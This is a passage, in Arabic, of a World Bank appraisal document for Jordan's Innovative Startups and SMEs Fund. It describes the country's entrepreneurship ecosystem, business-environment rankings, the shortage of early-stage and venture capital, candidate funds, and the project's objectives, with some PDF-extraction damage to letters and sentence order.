التوصيات على ثمانية مجاالت: )أ( تمويل المؤسسات الصغيرة والمتوسطة، و)ب( تمويل الشركات الناشئة، و)ج( تمويل الصادرات 12 والنمو، و)د( األسواق رأس المال، )هـ( تنمية األدوات المالية، )و( التمويل متناهي الصغر والتأمين، )ز( التكلفة المنخفضة المتثال المؤسسات الصغيرة والمتوسطة، )ح( اإلطار التشريعي واالقتصادي الشامل البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 9 جدول رقم 1 :لقطة من دعم ريادة األعمال في األردن عبر مختلف مراحل تأسيس الشركات وتنميتها نوع الدعم مرحلة األعمال مرحلة ما قبل التأسيس/ مرحلة األفكار مرحلة النمو المبكر/ رأس مرحلة التأسيس المرحلة المبكرة مرحلة تخطيط األعمال المال المخاطر منافسات األعمال التجارية والجوائز ذات الصلة المبادرات 2-1 اإلقليمية حاضنات األعمال 10 حاضنات أعمال في األردن )منها مؤسسة زين ومختبر األلعاب األرني، وحاضنة أعمال آي بارك، وأورانج( معجالت األعمال )انظر الملحق رقم 7 للتعريفات( )500 أويسيز )1 الجاهزية لالستثمار وتوجيهه منظمة إنديفر األردن التدريب، وإمكانية الوصول إلى األسواق وشبكات خدمات األعمال مركز الملكة رانيا لريادة األعمال إنجاز* مركز تنمية األعمال المؤسسة االردنية لتطوير المشاريع االقتصادية مركز تنمية األعمال المؤسسة االردنية لتطوير المشاريع االقتصادية جمعية تكنولوجيا المعلومات واالتصاالت في األردن مركز تنمية األعمال المؤسسة االردنية لتطوير المشاريع االقتصادية جمعية تكنولوجيا المعلومات واالتصاالت في األردن مركز تنمية األعمال منظمة إنديفر األردن رابطة رواد األعمال الشباب خدمات شبكات التمويل * إنجاز هو برنامج تعليمي )انظر المربع رقم 4-2 في الملحق رقم 4 لمزيد من التفاصيل عن كيانات دعم النظام البيئي الشامل في األردن( 10 -يتسم النظام البيئي الشامل في األردن بأنه متطور نسبياً حيث أنه ال يفتقر إلى األفكار اإلبتكارية واإلبداعية، إال أن القدرة على إقامة نوع الشركات الناشئة التي يمكن أن يعتبرها المستثمرون قابلة لالستمرار والنمو ال تزال محدودة. يوجد باألردن 10 حاضنات أعمال وحديقتين تكنولوجيتين وشبكة لرعاة األعمال التجارية والعديد من كيانات دعم األعمال والصادرات العاملة مع رواد األعمال الجدد والمؤسسات الصغيرة والمتوسطة من أجل تطوير خطط أعمالهم والوصول إلى األسواق وإدارة مواردهم البشرية وغيرها من المهام المتعلقة باألعمال. يفيد المستثمرون في رأس المال أن هناك إمكانات قوية إلقامة شركات ل جداً ناشئة ناجحة في األردن، ولكن هناك عدد قلي من البرامج الفعالة المعنية بالجاهزية لالستثمار وبرامج التوجيه التي تركز على إعداد رائد األعمال التباع العناية الواجبة والهيكلة التي تقتضيها صناعة االستثمار في رأس المال، والمهارات الشخصية غير الفنية المطلوبة لتعزيز األعمال وإدارتها. ومن ثم، يأتي رواد األعمال إلى المستثمرين غير جاهزين تماماً، ليس لديهم فكرة حقيقية عن أساليب تقديم المقترح وبناء الفريق وإدارة الوقت والتفاوض والتقييم والحوكمة واإلفصاح المالي. عالوًة على ذلك، غالبا برعاية األعمال أو تمويل مراحلها ً ما يجد رواد األعمال الذين حالفهم الحظ وتمكنوا من جذب المستثمرين المهتمين األولى، أنهم بحاجة إلى المشورة الدائمة حيث لم يقم سوى القليل منهم بإدارة عمل شهد النمو والنجاح. كما أنهم يفتقرون إلى المعرفة العملية المطلوبة للحفاظ على استمرارية األعمال وتسريع النمو وجذب االستثمارات من أجل تنمية أعمالهم )انظر الملحق رقم 4 لمزيد من التفاصيل عن النظام البيئي الشامل في األردن(. بيئة األعمال التجارية 11 -تعيق التحديات التي تواجه بيئة األعمال من االستثمار وقدرة القطاع الخاص على النمو والتأثير على جانبي الطلب والعرض. ل وفقا تقرير ممارسة األعمال التجارية لعام 2017 ،تم تصنيف بيئة األعمال الشاملة في األردن في المرتبة 118 من 189ً ، وكانت أسوأ المؤشرات هي: الحصول على االئتمان )185/189 ،)وحماية صغار المستثمرين )165/189 )وتسوية اإلعسار )142/189( )الجدول رقم 2 .)عالوًة على ذلك، تراجع تصنيف "بدء األعمال" من المرتبة 98 في عام 2016 إلى 106 في عام 2017 ،وحدث األمر ذاته في تصنيف "التعامل مع تراخيص البناء" التي انخفضت من 96 إلى 109 في نفس الفترة. وقد عملت مجموعة البنك الدولي مع وزارة الصناعة والتجارة إلصالح قانون اإلفالس وقانون المعامالت المضمونة، ولكن لم ا في تسهيل وصول رواد ً يصدق البرلمان بعد على أي من القانونين. وبمجرد اعتماد هذين القانونيين، سيكون لهما تأثير األعمال إلی االئتمان واالستثمارات في رأس المال )انظر الملحق رقم 4 الجزء الثاني للحصول علی تفاصيل حول اإلخفاقات المؤسسية(. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 10 12 -على الرغم من أن القوانين المحلية الصادرة في شأن الشركات المساهمة الخاصة تفرض قيوداً على المساهمين في شركات بدول أخرى في الشرق األوسط وشمال أفريقيا ً دولية، تظل األردن وجهة جذابة للصناديق األجنبية مقارنة . في الوقت الحالي، جميع الصناديق االستثمارية تقريباً مسجلة كشراكات محدودة المسئولية تعمل تحت إشراف اختصاص أجنبي ومقر هيكل عملياتها كائن في األردن )شريك متضامن(. تحدد دراسة حديثة أجريت حول البيئة القانونية والتنظيمية لصناديق االستثمار في رأس المال الخاص ورأس المال المخاطر التي يديرها البنك الدولي، بعض القضايا التي ينبغي تناولها لتحسين مناخ االستثمار في الصناديق المحلية لرأس المال الخاص ورأس المال المخاطر )انظر الملحق رقم 4 لمزيد من التفاصيل(. أعرب المراقب المالي للشركات التابع لوزارة الصناعة عن اهتمامه بوضع قانون جديد ينظم إنشاء صناديق رأس المال الخاص ورأس المال في األردن ودعمها فنيا إلعادة النظر في النظام ً المخاطر من جانب البنك الدولي، الذي بإمكانه العمل مع صندوق النقد الدولي الضريبي وإصالحه ليشمل الصناديق المذكورة، وهو من األسباب الرئيسية التي تؤدي إلى االمتناع عن تسجيل الصناديق في األردن. جدول رقم2 :تقرير ممارسة األعمال، 2016 – 2017 الموضوعات تقرير 2017 تقرير 2016 بدء األعمال التجارية 106 98 التعامل مع تراخيص البناء 109 96 الحصول على الكهرباء 48 60 تسجيل الممتلكات 96 96 الحصول على االئتمان 185 185 حماية صغار المستثمرين 165 166 دفع الضرائب 79 82 التجارة العابرة للحدود 50 50 تنفيذ العقود 124 124 تسوية اإلعسار 142 142 تقديم تمويل المرحلة المبكرة للشركات الناشئة والمؤسسات الصغيرة والمتوسطة في األردن للمسح الذي أجراه 13 -يسجل األردن أدنى مستوى من مؤشرات التمويل في العالم، وال سيما بالنسبة للمؤسسات الصغيرة. وفقاً البنك الدولي عام 2013 عن المشروعات والمؤسسات التجارية، تصنف الشركات متناهية الصغر والصغيرة )التي يعمل بها من 0 إلى 19 موظف( إمكانية الحصول على التمويل باعتباره أكبر عقبة تعترض النمو واإلنتاجية. ويتبين من التقييم السوقي الذي أجراه البنك األوروبي لإلنشاء والتعمير في فبراير/ شباط 2016 أن 83 %من الشركات الناشئة األردنية تعتمد على أموالها الخاصة كمصدر رئيسي للتمويل، في حين تعتمد نسبة 17 %على مصادر أخرى مثل الحصول قرض من بنك أو مؤسسة للتمويل متناهي الصغر أو األصدقاء أو العائلة أو قروض من الموردين. 14 -ال تمول البنوك التجارية والمستثمرين في رأس المال الخاص الشركات في المرحلة المبكرة من أعمالها دون تقديم ضمانات جوهرية بسبب نقص المعلومات المتاحة )عدم وجود سجل إنجازات، وعدم وجود قوائم مالية(، األمر الذي يجعل من الصعب تقييم المخاطر بشكل مناسب. كما يبتعد المستثمرون التقليديون عن المعامالت مرتفعة التكاليف الالزمة للمساعدة في زيادة االستثمارات في المراحل المبكرة. وباإلضافة إلى ذلك، فإن عدم وجود آلية واضحة لإلنسحاب من االستثمارات يدفع معظم المستثمرين إلى العزوف عن دخول السوق. خرجت شركتان ناشئتان أردنيتان من األسواق العالمية بتكلفة مرتفعة )أرامكس للتخارج هي طريقة البيع لمستثمر أخر. ومن ثم، ومكتوب وسوق دوت كوم(، ولكن الطريقة األكثر إنتشارا تركز صناديق ً االستثمار التقليدية استثماراتها على الشركات المتقدمة في مراحلها الالحقة، وتطالب معظم البنوك بضمانات بمبالغ باهظة )تصل نسبتها إلى 100 %أو أكثر من قيمة القرض(، وهي مبالغ ال تتوافر لدى معظم الشركات الناشئة. وبالتالي، تفضل الشركات الناشئة والشركات الشابة الحصول على االستثمار في رأس المال من "شبكات رعاة األعمال" وصناديق رأس المال ، ليس فقط للتمويل ولكن من أجل الحصول على الفرص السوقية التي يمكن أن يوفرها هؤالء المستثمرون. ومع 13 المخاطر للغاية في األردن. ذلك، تمويل مراحل التأسيس والمراحل المبکرة ومرحلة رأس المال المخاطر محدوداً انظر الملحق رقم 7 لتعريفات المصطلحات األساسية المستخدمة في وثيقة تقييم المشروع. المستثمر راعي األعمال هو شخص يستثمر أمواله في 13 إحدى شركات ريادة األعمال. وتشير التعريفات إلى أن المستثمر راعي األعمال هو الذي يساهم بشخصه في نجاح المشروع عن طريق ما يتمتع به من مهارات وخبرات وشبكات. في بعض األحيان، تتفق مجموعة من األفراد على تكوين "شبكة من رعاة األعمال" الستثمار أموالهم في إحدى خاطر كبيرة )عادًة الشركات. كما تقوم صناديق رأس المال المخاطر باالستثمار في الشركات المحفوفة بم ما تكون هذه االستثمارات بمبالغ مالية كبيرة إذا أثبتت الشركة تصورها/ سوقها(، ولكن على العكس من المستثمر راعي األعمال، شبكة رعاة األعمال هي مؤسسات مالية متخصصة تستثمر أموال أشخاص آخرين. كما تقدم صناديق رأس المال المخاطر كذلك فرص الدعم والتواصل لمستثمريهم لضمان قدرتهم على البقاء. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 11 شكل رقم 1 -معدل االستثمار في مراحل تأسيس الشركات/ رأس المال المخاطر من الناتج المحلي اإلجمالي )%( المغرب مصر األردن يولندا لبنان اسبانيا استراليا استونيا البرتغال هنغاريا المملكة المتحدة المصدر: بالنسبة للبلدان األوروبية - منظمة التعاون والتنمية في الميدان االقتصادي )بيانات 2014 أو البيانات األحدث المتاحة(؛ بالنسبة لمنطقة الشرق األوسط وشمال أفريقيا، تقييم البنك الدولي لتمويل االستثمار في المرحلة المبكرة( )إجمالي استثمارات القطاع تقريبا لكل بلد اعتبارا من عام (.2014 15 -وتبين بيانات عام 2014 تخصيص ستة )6 )من صناديق رأس المال الخاص في األردن الستثمارات بقيمة 3 مليارات دوالر من االستثمارات المخطط لها. وفي حين أن سوق رأس المال الخاص المتنامي مبشراً للشركات التي تمر بمرحلة متقدمة، وتتطلع إلى إعادة الهيكلة، يظل سوق االستثمار في مراحل التأسيس ورأس المال المخاطر في األردن ناشئاً من حيث رأس المال المتاح والموظف وعدد المعامالت. أجريت مقارنة بين بيانات االستثمار في مرحلة التأسيس ومرحلة رأس المال المخاطر كنسبة مئوية من الناتج المحلي اإلجمالي في مختلف البلدان في منطقة الشرق األوسط وشمال إفريقيا وأوروبا )شكل رقم 1 ،)وتبين منها انخفاض مستوى نشاط األردن في هذا المجال - على الرغم من أنه أفضل نسبياً من مستوى نشاط مصر والمغرب. 16 -بدأ نشاط تمويل االستثمارات في األردن عام 2010 ،وشهدت البالد دفعة قوية في هذا المجال بعد إنشاء واحدة من أولى معجالت األعمال في المنطقة )Oasis 500 )وإنشاء أولى شبكات المستثمرين الممولين، وقد ساعد ذلك على وضع األردن في مكانة بارزة على الخارطة اإلقليمية لالستثمار في رأس المال على الرغم من صغر حجمها )شكل رقم 2.) 14 شكل رقم 2 -االستثمار في رأس مال الشركات الناشئة في منطقة الشرق األوسط وشمال أفريقيا اعتباراً من 2015 17 -على الرغم من البداية الجيدة، لم يحظى الزخم بالدعم على المدى المتوسط وهو ما يؤدي إلى نقص تمويل مرحلة التأسيس للتقييم الفعلي الذي أجراه فريق المشروع، حتى في حالة الشركات الناشئة التي تمكنت من ومرحلة رأس المال المخاطر. وفقاً تقرير وضع التمويل في منطقة الشرق األوسط وشمال أفريقيا. 2016 14 التمويل في منطقة الشرق األوسط وشمال أفريقيا اعتباراً من 2015 = 71.1 مليار دوالر التمويل في األردن اعتباراً من 2015 = 25 مليون دوالر إشارة مرجعية: اإلمارات = 232 مليون دوالر - لبنان 67 مليون دوالر - مصر 28 مليون دوالر - السعودية 14 مليون دوالر البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 12 الوصول إلى مرحلة النمو، لم تتمكن سوى بضعة شركات من زيادة مبلغ المليون إلى الثالثة ماليين دوالر المطلوبة للتوسع، وألقى التقييم الضوء على محدودية تمويل مرحلة رأس المال المخاطر في البالد. وفي الوقت الحالي، تظل مؤسسة Oasis500 معجلة األعمال الوحيدة التي تركز على قطاع تكنولوجيا المعلومات واالتصاالت وتوفر التمويل لمرحلة التأسيس. تقدم شركات أخرى تمويل رأس المال المخاطر بمبالغ تتراوح ما بين المليون إلى الثالثة ماليين دوالر وتصب تركيزها على المستوى يركز على القطاع التكنولوجي( وصندوق داش 15 اإلقليمي ومنها، صندوق سيليكون البادية )صندوق استثمار برأس مال مفتوح يركز على القطاع التكنولوجي(. صندوق حكمة هو مثال أخر لصناديق االستثمار 16( صندوق استثمار خاص برأس مال محدد الخاصة ذات رأس المال المحدد الكائنة في األردن. ولصندوق حكمة حصة استثمارية أكبر تقدر بنحو 250 ألف إلى 3 مليون دوالر، ويركز تمويله على الشركات الدوائية، ولكنه ال يركز على األردن باعتبارها سوق رئيسي. يتركز سوق رأس المال المخاطر اإلقليمي في اإلمارات العربية المتحدة ولبنان ومصر، وتستجلب بعض الشركات في هذه الدول صفقات من األردن تتراوح قيمة استثماراتها ما بين المليون دوالر إلى 33 مليون دوالر. ومن بين صناديق رأس المال المخاطر صندوق بيكو و صندوق شركاء المبادرات في الشرق األوسط وصندوق إيريس كابيتال وصندوق ومضة ومجموعة جبار ومجموعة "آي مينا". ال يلبي عرض تمويل رأس المال في المراحل المبكرة من األعمال في األردن حجم الطلب عبر جميع الصناعات، وهو ما يؤدي إلى سقوط العديد من الشركات الناشئة والمؤسسات الصغيرة والمتوسطة فيما يسمى "بوادي الموت"، أي عند استنفاذ مواردهم المتأتية من األصدقاء واألسرة، والنقطة التي يصبحون عندها قادرين بما يكفي للبحث عن التمويل من السوق )عادًة بمبالغ تبدأ من 5.1 مليون دوالر وأكثر(. شكل رقم 3 -دورة حياة إحدى الشركات ومراحل تمويلها المصدر: منظمة التعاون والتنمية في الميدان االقتصادي صندوق االستثمار برأس مال مفتوح هو صندوق هيكلي ليس له عمر محدد المدة، ويتطلب مساهمة رأسمالية عند الموافقة على اإلنضمام إليه 15 واستخدام هذه المساهمة في ضخ استثمارات بشكل مستمر. صندوق االستثمار برأس مال محدد هو صندوق له عمر محدد المدة يتراوح مثال ما بين 7 إلى 10 سنوات، ويجوز مد هذه الفترة حسب التقدير 16 الخالص لمدير الصندوق وبموافقة المساهمين. ويتطلب هذا الصندوق التزام رأسمالي يتم سحبه مع مرور الوقت، وبالنظر إلى عمره المحدد، يكون أمامه فترة محدودة لضخ استثمارات قبل إغالقه. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 13 جدول رقم 3 .مصادر وأنواع التمويل في األردن حسب دورة حياة الشركة الفكرة اإلنشاء المرحلة األولى/ المبكرة النمو المبكر الثاني/ المقياس النمو الثالث/ رأس المال المخاطر ما قبل مرحلة الطرح العام المبدئي الضمانات االئتمانية واالئتمان التجاري الشركة االردنية لضمان القروض الشركة االردنية لضمان القروض منظمة التعاون والتنمية في الميدان االقتصادي البنوك التجارية البنوك االستثمارية تمويل رأس المال تتطلع المؤسسات التالية إلى زيادة رأس المال الجديد في هذا المجال لصالح األردن: أويسس 500 داش الصناديق التالية هي صناديق إقليمية لديها القدرة على االستثمار في األردن: الصندوق الهاشمي لتنمية البادية األردنية صندوق شركاء المبادرات في الشرق األوسط صندوق حكمة صندوق ومضة صندوق بيكو إيريس كابيتال أرزان الصندوق الهاشمي لتنمية البادية األردنية صندوق ومضة مؤ ّسسة شركاء المبادرات في الشرق األوسط مشروعات الحكمة الصناديق اإلقليمية لرأس المال الخاص 18-تتجه بعض الجهود المبذولة حالياً من بضعة كيانات ال تجد رأس مال كافي في السوق إلى زيادة تمويل رأس مال المرحلة المبكرة. ويظهر ذلك على وجه الخصوص في قطاعات أخرى غير قطاع تكنولوجيا المعلومات واالتصاالت. تسعى أويسس 500( Oasis500 )إلى توفير تمويل لصندوق جديد بقيمة 20 مليون دوالر، يضخ استثمارات بقيمة تصل إلى 300 ألف دوالر للصفقة الواحدة مع التركيز على الشركات التي تعمل في المجال . تجري مناقشة بين صندوق سيليكون البادية ومؤسسة إنديفور األردن والوكالة األمريكية للتنمية الدولية 17 اإلبداعي لوضع برنامج بقيمة 10 مليون دوالر للمساعدة في دعم الجيل التالي من مدراء األصول عن طريق التدريب واالستثمار في منتجاتهم، كما يسعون لتصميم صندوق لالشتمال المالي برأس مال يصل إلى 50 مليون دوالر لتغطية مشروعات وشركات منطقة الشرق األوسط وشمال أفريقيا. يقدر متوسط رأس مال صندوق مبادرة الوكالة األمريكية لالستثمار في منطقة الشرق األوسط وشمال أفريقيا بمبلغ 5 مليون دوالر، ومن خالل رأس المال اإلضافي، سوف يتمكن الصندوق من زيادة أثره في مرحلة التأسيس. تسعى جميع هذه الصناديق المحتملة لزيادة رأس المال اإلضافي لتتمكن من العمل. 19-يتضمن الجدول رقم 4 تقديراً لالستثمارات المحتملة التي يمكن أن يمولها المشروع المقترح فور تفعيله خالل السنة األولى. تعرف المملكة المتحدة الصناعات اإلبداعية بأنها "تلك األنشطة الناشئة عن إبداعات ومهارات ومواهب فردية والقادرة على خلق ثروة عن طريق 17 الملكية الفكرية" )المجلس البريطاني(. ومن أمثلة هذه الصناعات، التصميم والعمارة واإلعالم والتصوير والموسيقى، وغيرها. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 14 جدول رقم 4 – الصناديق التي تسعى حالياً لزيادة رأس المال اإلضافي في األردن )المشروعات المحتمل تمويلها من صندوق الشركات تاناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية*( حجم الصندوق اسم الصندوق )بالمليون دوالر( المبلغ المقترح الذي يمكن أن يوفره المشروع على الفور )بالمليون دوالر( صندوق أويسس 500 لتأسيس المشروعات 20 5( يمكن توفير 4 ماليين أخرى بعد الجولة األولى إذا زاد المبلغ بشكل كافي للوصول إلى مبلغ 20 مليون دوالر( صندوق االشتمال المالي سيليكون البادية/ إنديفور 50 5( لالستثمارات األردنية( صندوق االشتمال المالي 10 5 اإلجمالي 15 * هذه هي قائمة المشروعات المتوقعة والتي سوف تحصل على التمويل فقط بعد مراجعتها بمعرفة صندوق المشروع ووافقت عليها لجنة االستثمار ج- األهداف رفيعة المستوى التي يساهم المشروع في تحقيقها 20 -يتماشى المشروع ال ُمقترح مع إطار الشراكة القطري األردني السنوات المالية 17-22( تقرير رقم. 102746 )الذي ناقشه مجلس المدراء التنفيذيين بتاريخ 15 يونيه/ حزيران 2015 .تهدف الركيزة األولى إلطار الشراكة القطرية المتمثلة في "تهيئة الظروف لنمو أقوى للقطاع الخاص وتوفير فرص عمل أفضل للجميع" إلى تحفيز الدور الذي يلعبه القطاع الخاص ا ل وفر من خالله غالبية فرص العمل الرسمية في القطاع الخاص. ً بصفته محرك عملية النمو الذي يختلف عن النموذج الذي تُ فعلى وجه الخصوص، يتصل هذا المشروع بالهدف االستراتيجي رقم 1-3" تحسين الوصول إلى التمويل وتنمية المهارات" الذي يهدف إلى تحسين قدرة البنوك ومؤسسات التمويل متناهي الصغر وذلك بهدف توفير التمويل للمشروعات متناهية الصغر والصغيرة والمتوسطة وعرض منتجات جديدة في األسواق غير الحاصلة على دعم كاف وتوجيه التركيز على رواد األعمال ورائدات األعمال من الشباب. فضالً عن ذلك، يتناسب المشروع ال ُمقترح مع خطة التنمية التنفيذية الحكومية لعام 2016- 2018 وكذلك مع استراتيجية االشتمال المالي للشراكات والنظرة المستقبلية لعام 2030 التي تنص على أن "مجموعة البنك الدولي ستحتاج لالستفادة من جميع ما لديها من إمكانات من أجل إقامة أسواق وتوسيعها في األماكن التي يكون رأس المال الخاص أقل من رأس المال ال ُمتوقع." 21 -يتناسب المشروع ال ُمقترح تناسباً واضحاً مع ركائز تجديد العقود االجتماعية والتعاون اإلقليمي في منطقة الشرق األوسط وشمال إفريقيا. حيث يسهم هذا المشروع في تسهيل عملية نمو ريادة األعمال واالشتمال في الشركات الناشئة غير الحاصلة على دعم كاف وذلك عن طريق االستفادة من مستثمري القطاع الخاص من خالل الترتيبات المنفذة بين القطاعين العام والخاص بهدف سد فجوة التمويل التي يعجز السوق الخاص وحده على التغلب عليها. فبهذه الطريقة، يسهم المشروع في تجديد العقود االجتماعية عن طريق االستفادة من التعاون بين القطاعين الخاص والعام في خلق فرص عمل جديدة في القطاع الخاص والمساهمة في تغيير الثقافة الخاصة بالمخاطر وتعزيز التعلم من األخطاء السابقة. عالوًة على ذلك، يقوي المشروع ال ُمقترح من الروابط بين التعاون اإلقليمي حيث تهدف ريادة األعمال وصناديق االستثمار إلى خلق أسواق وشراكات تتعدى الحدود المحلية، وبخاصة السكان القانونيين من البلدان المجاورة مثل سوريا والعراق الذين يمكنهم توسيع حدود أعمالهم التجارية تصل إلى أوطانهم حينما يستقر وضعها. فضالً تلعب هذه المهارات والتصرفات دور األردنية حتى عن ذلك، ا بالغ األهمية في ً بناء مرونة أكبر لجميع أنواع الصدمات االقتصادية واالجتماعية التي قد تطرأ. د- العالقة بمشروعات البنك الدولي األخرى 22 -شرعت مجموعة البنك الدولي في تنفيذ برنامج ُموسع وشامل من أجل دعم المشروعات متناهية الصغر والصغيرة والمتوسطة وخلق فرص عمل في األردن بما في ذلك سياسة البنك الدولي للتعمير والتنمية وإقراض المستثمرين والخدمات االستشارية والمساعدة الفنية التي يكفلها مرفق المساعدة الفنية للمشروعات متناهية الصغر والصغيرة والمتوسطة اإلقليمية بمنطقة الشرق األوسط وشمال إفريقيا التابعة للبنك الدولي ومؤسسة التمويل الدولية وكذلك المجموعة االستشارية )الملحق 6 .)تتشارك جميع هذه المشروعات في تعزيز األنشطة التي ستضمن ترك آثاراً أفضل على 18 لمساعدة الفقراء أرض الواقع. عالوًة على ذلك، ُصمم برنامج البنك الدولي العام باالشتراك مع الحكومة األردنية والقطاع الخاص في ظل قيام البنك المركزي األردني بدور الجهة ال ُمنسقة. ويتضمن هذا المشروع تنمية إحدى مؤسسات االئتمان واإلقراض الخاصة بالمؤسسات الصغيرة والمتوسطة وذلك من خالل البنوك التجارية التي تستمر في تلقي الدعم من صناديق التنمية اإلقليمية. كذلك يتضمن برنامج إصالح القطاع االقتصادي إصالحات تنظيمية تختص بالتمويل متناهي الصغر واإلقراض القائم على المجموعة االستشارية لمساعدة الفقراء 18 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 15 األصول وإصالح صندوق الضمان من أجل دعم التمويل ال ُموجه للمؤسسات الصغيرة والمتوسطة وإنشاء أحدث مكاتب االستعالم االئتماني الخاص في منطقة الشرق األوسط وشمال إفريقيا وتوفير مساعدة فنية ُموسعة وتمويل للبنوك ومؤسسات التمويل متناهي الصغر من أجل تمويل المؤسسات متناهية الصغر والصغيرة والمتوسطة. باإلضافة لذلك، يلعب مشروع الدعم ا أساسي ً المالي الذي ينفذه البنك الدولي دور ا في ريادة األعمال وبناء قدرات المؤسسات الصغيرة والمتوسطة. حيث سيسهل ً المشروع ال ُمقترح توفير التمويل والدعم للشركات الناشئة التي ال تتلقى دعم ا حالي ً كافياً ا وذلك في سبيل إكمال مجموعة الحلول ً التي يمكن للبنك الدولي تقديمها للمؤسسات متناهية الصغر والصغيرة والمتوسطة. كذلك ُيمكن لهذا المشروع أن يتلقى دع ًما إضافًيا من قبل أنشطة إحدى المبادرات اإلقليمية بهدف تعزيز االشتمال المالي ال ُمقرر تنفيذها بالمشاركة بين البنك الدولي وصندوق النقد العربي من خالل مشروع ُمقترح يقدمه صندوق النقل في منطقة الشرق األوسط وشمال إفريقيا. عالوًة على ذلك، يمكن أن يوفر هذا المشروع وسيلة لشرح الفوائد العملية التي يمكن أن تعود على األردن من تفعيل المعايير الهيكلية التي وضعها مرفق النقد ال ُموسع التابع لصندوق النقد الدولي. حيث تتصل هذه اإلرشادات الهيكلية باإلعسار والمعامالت ال ُمضمونة التي من شأنها أن تحسن فور تنفيذها، البيئة ال ُممكنة من الحصول على الدعم من خالل المخارج التجارية واستخدام باألصول القابلة للنقل كضمانات للمؤسسات متناهية الصغر والصغيرة والمتوسطة. 23 -تضطلع إدارة الممارسة العالمية المعنية بالتجارة والقدرة التنافسية بعدد كبير من األنشطة في األردن وذلك كجزء من البرنامج القائم على النتائج المعني بتوفير الفرص االقتصادية لألردنيين والسوريين الذي اعتمده مجلس المدراء التنفيذيين لمجموعة البنك الدولي بتاريخ 27 سبتمبر/ أيلول 2016 .يهدف هذا البرنامج إلى )أ( تطوير فرص ريادة األعمال األردنية والسورية ومتابعة تنفيذ اجتماعات األعمال التجارية وأنشطة شبكات ريادة األعمال وقياس مدى تأثير هذه األنشطة مع مرور الزمن؛ )ب( بناء روابط بين األعمال التجارية األردنية والمستثمرين األجانب في المناطق الحرة وذلك من خالل تسهيل مبادرات التشبيك بين الموردين ال ُمحتملين وكبار المستثمرين األجانب؛ )ج( إصالح عملية تسجيل األعمال التجارية في عالوًة لتطوير النظام االقتصادي الكامل لريادة األعمال في األردن األردن. على ذلك، سيدعم المشروع ال ُمقترح العملية الشاملة بهدف تقديم الدعم للمقيمين القانونين من أجل إقامة أعمال تجارية في األردن والمساهمة في إنماءها. كذلك سيمكن المشروع ال ُمقترح المستفيدين من برامج التجارة والقدرة التنافسية وذلك حتى يستفيدوا من أنشطة التوعية والجاهزية لالستثمار وآليات بتت قدرتها التنافسية بنا ًء على ُ معجالت األعمال وتمويلها. فضالً عن ذلك، سيقدم المشروع ال ُمقترح دعماً لقطاعات ُمعينة ث تحليالت برنامج التجارة والقدرة التنافسية القائم على النتائج )على سيل المثال، األعمال التجارية الزراعية والمالبس( وسيعمل على تقديم الدعم ال ُمكثف من خالل معجالت األعمال وخدمات المساعدة الفنية للشركات. وسيتعاون فريق المشروع مع فرق التجارة والقدرة التنافسية خالل مرحلة التنفيذ من أجل الموائمة بين األنشطة. مؤسسة التمويل الدولية 24 -تم تصميم البرنامج على يد فريق مكون من موظفي البنك الدولي العاملين بإدارة التمويل واألسواق والممارسات العالمية للتجارة والقدرة التنافسية والموظفين العاملين بوحدة رأس المال المخاطر التابعة لمؤسسة التمويل الدولية. من ناحية أخرى، ال يشكل المشروع أي مخاطرة على إقصاء مؤسسة التمويل الدولية بل إنه يستكمل عملياتها الخاصة باستثمارات رأس المال في المرحلة المبكرة من األعمال. ومن الجدير بالمالحظة، أن برنامج تحفيز الشركات الناشئة الذي تنفذه مؤسسة التمويل ُ الدولية، وهو برنامج عالمي أطلق مؤخرا وصمم لالستثمار في صناديق التأسيس التجاري ومعجالت وحاصنات األعمال، يضم ً هيكل يجمع بين أحد معجالت األعمال وصندوق رأس المال المخاطر الكائن مقره في القاهرة وذلك باعتبارهما أولى الجهات التي تم االستثمار فيها. ومن البرامج المجدية األخرى، البرنامج األوسع لالستثمار في رأس المال المخاطر الذي أطلقته مؤسسة متضمنا االستثمارات التي يضخها في صناديق رأس المال المخاطر اإلقليمية )على سبيل المثال، صندوق ً التمويل الدولية، ومضة( باإلضافة إلى فرص االستثمار في رأس المال المباشر في الشركات الناشئة في جميع أنحاء منطقة الشرق األوسط وشمال إفريقيا )مثال ذلك، موقع سوق دوت كوم(. من ناحية أخرى، ال تستبعد مؤسسة التمويل الدولية االستثمار في صناديق التأسيس أو رأس المال المخاطر في مراحله األولى ذات العالقة بالمشروع ال ُمقترح حالما تثبت هذه الصناديق مالءمة أدائها للمعايير العالمية. وبنا ًء على ذلك، يعمل المشرع ال ُمقترح كجسر يربط بين مرحلتي افتتاح الشركات الناشئة وأولى مراحل نموها والنظام االقتصادي الشامل لمعجالت األعمال وذلك حتى يتلقى الدعم من مؤسسة التمويل الدولية. وعليه، يساعد هذا المشروع في بناء خط استثمار مستقبلي لمؤسسة التمويل الدولية. وستتعاون المؤسسة مع البنك الدولي الستغالل ما لديهما من أدوات وخبرات في سبيل المساعدة في بناء أنظمة اقتصادية ُمبتكرة مستدامة وإتمام بناءها في منطقة الشرق األوسط وشمال ا في أنحاء أخرى من العالم. ً إفريقيا وذلك عن طريق توصيلها باألنظمة االقتصادية األكثر تطور ثانياً. األهداف اإلنمائية للمشروع أ. األهداف اإلنمائية للمشروع 25 -يتمثل الهدف اإلنمائي للمشروع في زيادة تمويل رأس المال الخاص في المراحل المبكرة ألعمال المؤسسات االبتكارية البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 16 الصغيرة والمتوسطة. 26 -إبتكارية: ُيقصد بمصطلح "إبتكارية" في هذا الصدد ذلك المصطلح الوارد في تعريف دليل أوسلو، النسخة الثالثة، لعام الذي ينص على أنه مصطلح ُمبتكر يُقصد به منتجات وسلع وخدمات جديدة و ُمحسنة وعمليات و/أو نماذج أعمال 19 2005 تجارية جديدة و ُمحسنة. 27ُ -يقصد بالمؤسسات الصغيرة والمتوسطة الشركات ال ُمبتكرة وال ُمؤسسة بصورة رسمية )حديثة اإلنشاء أو الناشئة بالفعل( التي لم يتجاوز عمرها 5 سنوات. ب. الجهات المستفيدة من المشروع 28 -الجهات المستفيدة من المشروع. المستفيدون الرئيسيون من االستثمار في رأس المالي هم المؤسسات الصغيرة والمتوسطة ال 